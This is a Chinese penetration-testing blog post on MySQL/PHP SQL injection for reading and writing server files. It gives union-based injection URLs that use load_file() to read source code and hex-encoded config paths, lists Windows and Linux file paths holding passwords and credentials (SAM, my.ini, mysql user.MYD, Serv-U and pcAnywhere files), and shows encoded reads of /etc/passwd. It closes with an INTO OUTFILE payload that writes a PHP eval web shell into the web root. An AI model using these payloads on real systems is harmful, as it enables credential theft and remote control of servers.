欢迎来到【血梦博客】 今天是:2020年08月09日 星期日
站长联系QQ:635948183
当前位置: 网站首页> 渗透测试> WEB安全之SQL注入:mysql+php 读写操作

WEB安全之SQL注入:mysql+php 读写操作

作者:血梦 日期:2020-03-18 浏览:113分类: 渗透测试 已提交百度收录

MYSQL新特性secure_file_priv对读写文件的影响 此开关默认为NULL,即不允许导入导出。

secure_file_priv 为空是 的时候 方可读写由于这个参数不能动态更改,只能在mysql的配置文件中进行修改,然后重启生效。 可以通过命令查看这个属性

select@@secure_file_priv

secure_file_priv为null    表示不允许导入导出

secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹

secure_file_priv没有设置时,则表示没有任何限制

写入文件的时候还需要看php.ini 里面 gpc是否开启 开启的情况下特殊字符都会被转义 ' 变成  \'
读写操作用到两个函数

load_file()读取文件函数

读取当前目录下的index.php文件

http://target_sys.com/article.php?id=-1union select 1,2,load_file('C:\\inetpub\\wwwroot\\target_sys.com\\index.php')
http://target_sys.com/article.php?id=-1union select 1,2,load_file('C:/inetpub/wwwroot/target_sys.com/index.php')



读取配置文件

http://target_sys.com/article.php?id=-1union select 1,2,load_file(0x433a2f696e65747075622f777777726f6f742f7461726765745f7379732e636f6d2f646174612f636f6e6669672e696e632e706870)



以下是windows linux 常用目录文件
windwos

c:/boot.ini //查看系统版本
c:/windows/php.ini//php配置信息
c:/windows/my.ini//MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD//存储了mysql.user表中的数据库连接密码
c:\ProgramFiles\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\ProgramFiles\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml查看IIS的虚拟主机配置
c:\windows\repair\sam//存储了WINDOWS系统初次安装的密码
c:\Program Files\Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
c:\ProgramFiles\RhinoSoft.com\ServUDaemon.exe
C:\Documents andSettings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码
c:\ProgramFiles\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf//查看WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf//查看jsp开发的网站 resin文件配置信息.
c:/Resin/conf/resin.conf/usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
C:\ProgramFiles\mysql\my.ini
C:\mysql\data\mysql\user.MYD存在MYSQL系统中的用户密码
LUNIX/UNIX 下:
/usr/local/app/apache2/conf/httpd.conf//apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf//虚拟网站设置
/usr/local/app/php5/lib/php.ini//PHP相关设置
/etc/sysconfig/iptables//从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf// apache配置文件
/etc/rsyncd.conf//同步程序配置文件
/etc/my.cnf//mysql的配置文件
/etc/redhat-release//系统版本
/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini//PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf//虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.confAPASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.confAPASHE虚拟主机查看
/etc/sysconfig/iptables查看防火墙策略
load_file(char(47))可以列出FreeBSD,Sunos系统根目录
replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
into outfile  文件导出 空格
into dumpfile 没有空格



1、gpc 关闭
2、目录可写

写shell话到当前目录

http://target_sys.com/article.php?id=-1union select 1,'<?php phpinfo();eval($_POST[\'smoon\']);?>',3 intooutfile 'C:\\inetpub\\wwwroot\\target_sys.com\\smoon.php'


关灯